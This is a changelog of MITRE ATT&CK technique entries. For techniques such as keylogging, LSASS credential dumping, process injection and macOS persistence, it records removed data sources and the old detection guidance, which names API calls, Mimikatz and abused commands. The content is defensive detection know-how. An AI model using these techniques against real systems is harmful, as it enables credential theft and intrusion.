x_mitre_data_sources['Process: OS API Execution']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:43:44.231000+00:002025-10-24 17:49:11.077000+00:00
x_mitre_detectionAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious behaviors that could relate to post-compromise behavior. + +Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances. for known bad sequence of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as WriteProcessMemory() and NtQueryInformationProcess() with the parameter set to ProcessBasicInformation may be used for this technique.(Citation: Lazarus APT January 2022)

[T1555.001] Credentials from Password Stores: Keychain

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Command: Command Execution', 'Process: Process Creation', 'Process: OS API Execution', 'File: File Access']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:44:01.937000+00:002025-10-24 17:48:29.756000+00:00
x_mitre_detectionUnlocking the keychain and using passwords from it is a very common process, so there is likely to be a lot of noise in any detection technique. Monitoring of system calls to the keychain can help determine if there is a suspicious process trying to access it.

[T1056.001] Input Capture: Keylogging

Current version: 1.3

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Driver: Driver Load', 'Process: OS API Execution', 'Windows Registry: Windows Registry Key Modification']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:03.923000+00:002025-10-24 17:48:21.756000+00:00
x_mitre_detectionKeyloggers may take many forms, possibly involving modification to the Registry and installation of a driver, setting a hook, or polling to intercept keystrokes. Commonly used API calls include `SetWindowsHook`, `GetKeyState`, and `GetAsyncKeyState`.(Citation: Adventures of a Keystroke) Monitor the Registry and file system for such changes, monitor driver installs, and look for common keylogging API calls. API calls alone are not an indicator of keylogging, but may provide behavioral data that is useful when combined with other information such as new files written to disk and unusual processes.

[T1546.006] Event Triggered Execution: LC_LOAD_DYLIB Addition

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Command: Command Execution', 'File: File Metadata', 'Process: Process Creation', 'File: File Modification', 'Module: Module Load']
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 20:37:15.460000+00:002025-10-24 17:48:25.182000+00:00
x_mitre_detectionMonitor processes for those that may be used to modify binary headers. Monitor file systems for changes to application binaries and invalid checksums/signatures. Changes to binaries that do not line up with application updates or patches are also extremely suspicious.

[T1557.001] Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay

Current version: 1.4

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Service: Service Creation', 'Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content', 'Windows Registry: Windows Registry Key Modification']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:44:23.234000+00:002025-10-24 17:48:52.462000+00:00
x_mitre_detectionMonitor HKLM\Software\Policies\Microsoft\Windows NT\DNSClient for changes to the "EnableMulticast" DWORD value. A value of “0” indicates LLMNR is disabled. (Citation: Sternsecurity LLMNR-NBTNS) + +Monitor for traffic on ports UDP 5355 and UDP 137 if LLMNR/NetBIOS is disabled by security policy. + +Deploy an LLMNR/NBT-NS spoofing detection tool.(Citation: GitHub Conveigh) Monitoring of Windows event logs for event IDs 4697 and 7045 may help in detecting successful relay techniques.(Citation: Secure Ideas SMB Relay)

[T1027.012] Obfuscated Files or Information: LNK Icon Smuggling

Current version: 1.0

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['File: File Metadata', 'File: File Creation']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:44:37.776000+00:002025-10-24 17:49:04.385000+00:00
x_mitre_detection +

[T1003.004] OS Credential Dumping: LSA Secrets

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Windows Registry: Windows Registry Key Access', 'Command: Command Execution']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:44:50.491000+00:002025-10-24 17:48:29.945000+00:00
x_mitre_detectionMonitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like Mimikatz. PowerShell scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module,(Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis.

[T1547.008] Boot or Logon Autostart Execution: LSASS Driver

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Module: Module Load', 'File: File Creation', 'Driver: Driver Load', 'File: File Modification']
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 20:37:22.686000+00:002025-10-24 17:49:35.318000+00:00
x_mitre_detectionWith LSA Protection enabled, monitor the event logs (Events 3033 and 3063) for failed attempts to load LSA plug-ins and drivers. (Citation: Microsoft LSA Protection Mar 2014) Also monitor DLL load operations in lsass.exe. (Citation: Microsoft DLL Security) + +Utilize the Sysinternals Autoruns/Autorunsc utility (Citation: TechNet Autoruns) to examine loaded drivers associated with the LSA.

[T1003.001] OS Credential Dumping: LSASS Memory

Current version: 1.5

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Process: Process Access', 'Windows Registry: Windows Registry Key Modification', 'Process: Process Creation', 'Process: OS API Execution', 'Logon Session: Logon Session Creation', 'Command: Command Execution', 'File: File Creation']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:45:12.834000+00:002025-10-24 17:48:52.657000+00:00
x_mitre_detectionMonitor for unexpected processes interacting with LSASS.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as Mimikatz access LSASS.exe by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details are stored. Credential dumpers may also use methods for reflective [Process Injection](https://attack.mitre.org/techniques/T1055) to reduce potential indicators of malicious activity. + +On Windows 8.1 and Windows Server 2012 R2, monitor Windows Logs for LSASS.exe creation to verify that LSASS started as a protected process. + +Monitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like Mimikatz. PowerShell scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module,(Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis.

[T1570] Lateral Tool Transfer

Current version: 1.4

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Named Pipe: Named Pipe Metadata', 'Network Share: Network Share Access', 'Network Traffic: Network Traffic Flow', 'Command: Command Execution', 'Process: Process Creation', 'File: File Creation', 'Network Traffic: Network Traffic Content', 'File: File Metadata']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:59:03.832000+00:002025-10-24 17:49:19.137000+00:00
x_mitre_detectionMonitor for file creation and files transferred within a network using protocols such as SMB or FTP. Unusual processes with internal network connections creating files on-system may be suspicious. Consider monitoring for abnormal usage of utilities and command-line arguments that may be used in support of remote transfer of files. Considering monitoring for alike file hashes or characteristics (ex: filename) that are created on multiple hosts.

[T1543.001] Create or Modify System Process: Launch Agent

Current version: 1.5

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['File: File Modification', 'Service: Service Modification', 'File: File Creation', 'Service: Service Creation', 'Command: Command Execution']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:59:10.035000+00:002025-10-24 17:49:25.367000+00:00
x_mitre_detectionMonitor Launch Agent creation through additional plist files and utilities such as Objective-See’s KnockKnock application. Launch Agents also require files on disk for persistence which can also be monitored via other file monitoring applications. + +Ensure Launch Agent's ProgramArguments key pointing to executables located in the /tmp or /shared folders are in alignment with enterprise policy. Ensure all Launch Agents with the RunAtLoad key set to true are in alignment with policy.

[T1543.004] Create or Modify System Process: Launch Daemon

Current version: 1.3

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Process: Process Creation', 'File: File Creation', 'File: File Modification', 'Service: Service Modification', 'Command: Command Execution', 'Service: Service Creation']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:33.604000+00:002025-10-24 17:48:49.387000+00:00
x_mitre_detectionMonitor for new files added to the /Library/LaunchDaemons/ folder. The System LaunchDaemons are protected by SIP. + +Some legitimate LaunchDaemons point to unsigned code that could be exploited. For Launch Daemons with the RunAtLoad parameter set to true, ensure the Program parameter points to signed code or executables are in alignment with enterprise policy. Some parameters are interchangeable with others, such as Program and ProgramArguments parameters but one must be present.(Citation: launchd Keywords for plists) + +

[T1569.001] System Services: Launchctl

Current version: 1.3

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Process: Process Creation', 'Command: Command Execution', 'Service: Service Creation', 'File: File Modification']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:46.562000+00:002025-10-24 17:49:02.098000+00:00
x_mitre_detectionEvery Launch Agent and Launch Daemon must have a corresponding plist file on disk which can be monitored. Monitor for recently modified or created plist files with a significant change to the executable path executed with the command-line launchctl command. Plist files are located in the root, system, and users /Library/LaunchAgents or /Library/LaunchDaemons folders. + +Monitor command-line execution of the launchctl command immediately followed by abnormal network connections. [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s with executable paths pointing to /tmp and /Shared folders locations are potentially suspicious. + +When removing [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s ensure the services are unloaded prior to deleting plist files.

[T1608.005] Stage Capabilities: Link Target

Current version: 1.4

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Internet Scan: Response Content']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:45:40.961000+00:002025-10-24 17:49:03.552000+00:00
x_mitre_detectionIf infrastructure or patterns in malicious web content have been previously identified, internet scanning may uncover when an adversary has staged web content to make it accessible for targeting. + +Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on other phases of the adversary lifecycle, such as during [Spearphishing Link](https://attack.mitre.org/techniques/T1598/003), [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002), or [Malicious Link](https://attack.mitre.org/techniques/T1204/001).

[T1222.002] File and Directory Permissions Modification: Linux and Mac File and Directory Permissions Modification

Current version: 1.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Process: Process Creation', 'File: File Metadata', 'Command: Command Execution']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:46:00.944000+00:002025-10-24 17:48:21.839000+00:00
x_mitre_detectionMonitor and investigate attempts to modify ACLs and file/directory ownership. Many of the commands used to modify ACLs and file/directory ownership are built-in system utilities and may generate a high false positive alert rate, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible. Commonly abused command arguments include chmod +x, chmod -R 755, and chmod 777.(Citation: 20 macOS Common Tools and Techniques) + +Consider enabling file/directory permission change auditing on folders containing key binary/configuration files.

[T1055.015] Process Injection: ListPlanting

Current version: 1.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Process: Process Modification', 'Process: OS API Execution']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:59:18.862000+00:002025-10-24 17:49:33.701000+00:00
x_mitre_detectionMonitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as FindWindow, FindWindowEx, EnumWindows, EnumChildWindows, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be abused for this technique. + +Consider monitoring for excessive use of SendMessage and/or PostMessage API functions with LVM_SETITEMPOSITION and/or LVM_GETITEMPOSITION arguments. + +Analyze process behavior to determine if a process is performing unusual actions, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.

[T1087.001] Account Discovery: Local Account

Current version: 1.5

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Process: OS API Execution', 'Group: Group Enumeration', 'Process: Process Creation', 'Command: Command Execution', 'File: File Access']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:14.718000+00:002025-10-24 17:48:32.515000+00:00
x_mitre_detectionSystem and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. + +Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). + +Monitor for processes that can be used to enumerate user accounts, such as net.exe and net1.exe, especially when executed in quick succession.(Citation: Elastic - Koadiac Detection with EQL)

[T1078.003] Valid Accounts: Local Accounts

Current version: 1.5

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Logon Session: Logon Session Creation', 'Logon Session: Logon Session Metadata', 'User Account: User Account Authentication']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:59:24.607000+00:002025-10-24 17:49:39.874000+00:00
x_mitre_detectionPerform regular audits of local system accounts to detect accounts that may have been created by an adversary for persistence. Look for suspicious account behavior, such as accounts logged in at odd times or outside of business hours.

[T1074.001] Data Staged: Local Data Staging

Current version: 1.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['File: File Creation', 'Windows Registry: Windows Registry Key Modification', 'File: File Access', 'Command: Command Execution']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:11.270000+00:002025-10-24 17:48:28.868000+00:00
x_mitre_detectionProcesses that appear to be reading files from disparate locations and writing them to the same directory or file may be an indication of data being staged, especially if they are suspected of performing encryption or compression on the files, such as 7zip, RAR, ZIP, or zlib. Monitor publicly writeable directories, central locations, and commonly used staging directories (recycle bin, temp folders, etc.) to regularly check for compressed or encrypted data that may be indicative of staging. + +Monitor processes and command-line arguments for actions that could be taken to collect and combine files. Remote access tools with built-in features may interact directly with the Windows API to gather and copy to a location. Data may also be acquired and staged through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). + +Consider monitoring accesses and modifications to local storage repositories (such as the Windows Registry), especially from suspicious processes that could be related to malicious data collection.

[T1114.001] Email Collection: Local Email Collection

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['File: File Access', 'Command: Command Execution']
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 14:46:00.964000+00:002025-10-24 17:48:29.669000+00:00
x_mitre_detectionMonitor processes and command-line arguments for actions that could be taken to gather local email files. Monitor for unusual processes accessing local email files. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).

[T1069.001] Permission Groups Discovery: Local Groups

Current version: 1.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Process: OS API Execution', 'Process: Process Creation', 'Group: Group Enumeration', 'Command: Command Execution']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:46:25.458000+00:002025-10-24 17:49:10.014000+00:00
x_mitre_detectionSystem and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. + +Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).

[T1037.002] Boot or Logon Initialization Scripts: Login Hook

Current version: 2.0

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['File: File Creation', 'File: File Modification', 'Process: Process Creation', 'Command: Command Execution']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:46:43.054000+00:002025-10-24 17:48:42.963000+00:00
x_mitre_detectionMonitor logon scripts for unusual access by abnormal users or at abnormal times. Look for files added or modified by unusual accounts outside of normal administration duties. Monitor running process for actions that could be indicative of abnormal programs or executables running upon logon.

[T1547.015] Boot or Logon Autostart Execution: Login Items

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Process: Process Creation', 'File: File Creation', 'File: File Modification']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:47.788000+00:002025-10-24 17:49:03.355000+00:00
x_mitre_detectionAll login items created via shared file lists are viewable by using the System Preferences GUI or in the ~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm file.(Citation: Open Login Items Apple)(Citation: Startup Items Eclectic)(Citation: objsee block blocking login items)(Citation: sentinelone macos persist Jun 2019) These locations should be monitored and audited for known good applications. + +Otherwise, login Items are located in Contents/Library/LoginItems within an application bundle, so these paths should be monitored as well.(Citation: Adding Login Items) Monitor applications that leverage login items with either the LSUIElement or LSBackgroundOnly key in the Info.plist file set to true.(Citation: Adding Login Items)(Citation: Launch Service Keys Developer Apple) + +Monitor processes that start at login for unusual or unknown applications. Usual applications for login items could include what users add to configure their user environment, such as email, chat, or music applications, or what administrators include for organization settings and protections. Check for running applications from login items that also have abnormal behavior,, such as establishing network connections.

[T1037.001] Boot or Logon Initialization Scripts: Logon Script (Windows)

Current version: 1.0

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Command: Command Execution', 'Process: Process Creation', 'Windows Registry: Windows Registry Key Creation']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:46:59.108000+00:002025-10-24 17:49:33.610000+00:00
x_mitre_detectionMonitor for changes to Registry values associated with Windows logon scrips, nameley HKCU\Environment\UserInitMprLogonScript. + +Monitor running process for actions that could be indicative of abnormal programs or executables running upon logon.

[T1218.014] System Binary Proxy Execution: MMC

Current version: 2.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Command: Command Execution', 'File: File Creation', 'Process: Process Creation']
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 20:37:23.449000+00:002025-10-24 17:49:40.236000+00:00
x_mitre_detectionMonitor processes and command-line parameters for suspicious or malicious use of MMC. Since MMC is a signed Windows binary, verify use of MMC is legitimate and not malicious. + +Monitor for creation and use of .msc files. MMC may legitimately be used to call Microsoft-created .msc files, such as services.msc or eventvwr.msc. Invoking non-Microsoft .msc files may be an indicator of malicious activity.

[T1127.001] Trusted Developer Utilities Proxy Execution: MSBuild

Current version: 1.4

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Command: Command Execution', 'Process: Process Creation']
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 20:37:20.712000+00:002025-10-24 17:49:22.881000+00:00
x_mitre_detectionUse process monitoring to monitor the execution and arguments of MSBuild.exe. Compare recent invocations of those binaries with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after invocation of the utilities may also be useful in determining the origin and purpose of the binary being executed.

[T1071.003] Application Layer Protocol: Mail Protocols

Current version: 1.2

New Mitigations:

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_contributors['Don Le, Stifel Financial']
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:32.320000+00:002025-10-24 17:48:48.564000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_detectionAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol standards regarding syntax, structure, or any other variable adversaries could leverage to conceal data.(Citation: University of Birmingham C2)

[T1134.003] Access Token Manipulation: Make and Impersonate Token

Current version: 1.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Process: OS API Execution', 'Command: Command Execution']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:49.948000+00:002025-10-24 17:49:05.200000+00:00
x_mitre_detectionIf an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the runas command. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging) + +If an adversary is using a payload that calls the Windows token APIs directly, analysts can detect token manipulation only through careful analysis of user network activity, examination of running processes, and correlation with other endpoint and network behavior. + +Analysts can also monitor for use of Windows APIs such as LogonUser and SetThreadToken and correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators.

[T1204.003] User Execution: Malicious Image

Current version: 1.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Application Log: Application Log Content', 'Command: Command Execution', 'Image: Image Creation', 'Container: Container Start', 'Container: Container Creation', 'Instance: Instance Start', 'Instance: Instance Creation']
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 14:47:40.745000+00:002025-10-24 17:49:13.999000+00:00
x_mitre_detectionMonitor the local image registry to make sure malicious images are not added. Track the deployment of new containers, especially from newly built images. Monitor the behavior of containers within the environment to detect anomalous behavior or malicious activity after users deploy from malicious images.

[T1204.001] User Execution: Malicious Link

Current version: 1.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_remote_supportFalse
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['File: File Creation', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Connection Creation']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:59:20.108000+00:002025-10-24 17:49:35.144000+00:00
x_mitre_detectionInspect network traffic for indications that a user visited a malicious site, such as links included in phishing campaigns directed at your organization. + +Anti-virus can potentially detect malicious documents and files that are downloaded from a link and executed on the user's computer.

[T1588.001] Obtain Capabilities: Malware

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Malware Repository: Malware Metadata', 'Malware Repository: Malware Content']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:47:58.443000+00:002025-10-24 17:48:58.766000+00:00
x_mitre_detectionConsider analyzing malware for features that may be associated with malware providers, such as compiler used, debugging artifacts, code similarities, or even group identifiers associated with specific MaaS offerings. Malware repositories can also be used to identify additional samples associated with the developers and the adversary utilizing their services. Identifying overlaps in malware use by different adversaries may indicate malware was obtained by the adversary rather than developed by them. In some cases, identifying overlapping characteristics in malware used by different adversaries may point to a shared quartermaster.(Citation: FireEyeSupplyChain) + +Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle.

[T1553.005] Subvert Trust Controls: Mark-of-the-Web Bypass

Current version: 1.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['File: File Metadata', 'File: File Creation']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:45.702000+00:002025-10-24 17:49:01.286000+00:00
x_mitre_detectionMonitor compressed/archive and image files downloaded from the Internet as the contents may not be tagged with the MOTW. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities.(Citation: Disable automount for ISO)

[T1036.008] Masquerading: Masquerade File Type

Current version: 1.1

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1Adversaries may masquerade malicious payloads as legitimate t1Adversaries may masquerade malicious payloads as legitimate 
>files through changes to the payload's formatting, including>files through changes to the payload's formatting, including
> the file’s signature, extension, icon, and contents. Variou> the file’s signature, extension, icon, and contents. Variou
>s file types have a typical standard format, including how t>s file types have a typical standard format, including how t
>hey are encoded and organized. For example, a file’s signatu>hey are encoded and organized. For example, a file’s signatu
>re (also known as header or magic bytes) is the beginning by>re (also known as header or magic bytes) is the beginning by
>tes of a file and is often used to identify the file’s type.>tes of a file and is often used to identify the file’s type.
> For example, the header of a JPEG file,  is <code> 0xFF 0xD> For example, the header of a JPEG file,  is <code> 0xFF 0xD
>8</code> and the file extension is either `.JPE`, `.JPEG` or>8</code> and the file extension is either `.JPE`, `.JPEG` or
> `.JPG`.   Adversaries may edit the header’s hex code and/or> `.JPG`.   Adversaries may edit the header’s hex code and/or
> the file extension of a malicious payload in order to bypas> the file extension of a malicious payload in order to bypas
>s file validation checks and/or input sanitization. This beh>s file validation checks and/or input sanitization. This beh
>avior is commonly used when payload files are transferred (e>avior is commonly used when payload files are transferred (e
>.g., [Ingress Tool Transfer](https://attack.mitre.org/techni>.g., [Ingress Tool Transfer](https://attack.mitre.org/techni
>ques/T1105)) and stored (e.g., [Upload Malware](https://atta>ques/T1105)) and stored (e.g., [Upload Malware](https://atta
>ck.mitre.org/techniques/T1608/001)) so that adversaries may >ck.mitre.org/techniques/T1608/001)) so that adversaries may 
>move their malware without triggering detections.   Common n>move their malware without triggering detections.   Common n
>on-executable file types and extensions, such as text files >on-executable file types and extensions, such as text files 
>(`.txt`) and image files (`.jpg`, `.gif`, etc.) may be typic>(`.txt`) and image files (`.jpg`, `.gif`, etc.) may be typic
>ally treated as benign.  Based on this, adversaries may use >ally treated as benign.  Based on this, adversaries may use 
>a file extension to disguise malware, such as naming a PHP b>a file extension to disguise malware, such as naming a PHP b
>ackdoor code with a file name of <code>test.gif</code>. A us>ackdoor code with a file name of <code>test.gif</code>. A us
>er may not know that a file is malicious due to the benign a>er may not know that a file is malicious due to the benign a
>ppearance and file extension.  Polygot files, which are file>ppearance and file extension.  Polyglot files, which are fil
>s that have multiple different file types and that function >es that have multiple different file types and that function
>differently based on the application that will execute them,> differently based on the application that will execute them
> may also be used to disguise malicious malware and capabili>, may also be used to disguise malicious malware and capabil
>ties.(Citation: polygot_icedID)>ities.(Citation: polygot_icedID)

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['File: File Modification', 'Command: Command Execution']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:12.855000+00:002025-10-08 17:44:11.183000+00:00
descriptionAdversaries may masquerade malicious payloads as legitimate files through changes to the payload's formatting, including the file’s signature, extension, icon, and contents. Various file types have a typical standard format, including how they are encoded and organized. For example, a file’s signature (also known as header or magic bytes) is the beginning bytes of a file and is often used to identify the file’s type. For example, the header of a JPEG file, is 0xFF 0xD8 and the file extension is either `.JPE`, `.JPEG` or `.JPG`. + +Adversaries may edit the header’s hex code and/or the file extension of a malicious payload in order to bypass file validation checks and/or input sanitization. This behavior is commonly used when payload files are transferred (e.g., [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)) and stored (e.g., [Upload Malware](https://attack.mitre.org/techniques/T1608/001)) so that adversaries may move their malware without triggering detections. + +Common non-executable file types and extensions, such as text files (`.txt`) and image files (`.jpg`, `.gif`, etc.) may be typically treated as benign. Based on this, adversaries may use a file extension to disguise malware, such as naming a PHP backdoor code with a file name of test.gif. A user may not know that a file is malicious due to the benign appearance and file extension. + +Polygot files, which are files that have multiple different file types and that function differently based on the application that will execute them, may also be used to disguise malicious malware and capabilities.(Citation: polygot_icedID)Adversaries may masquerade malicious payloads as legitimate files through changes to the payload's formatting, including the file’s signature, extension, icon, and contents. Various 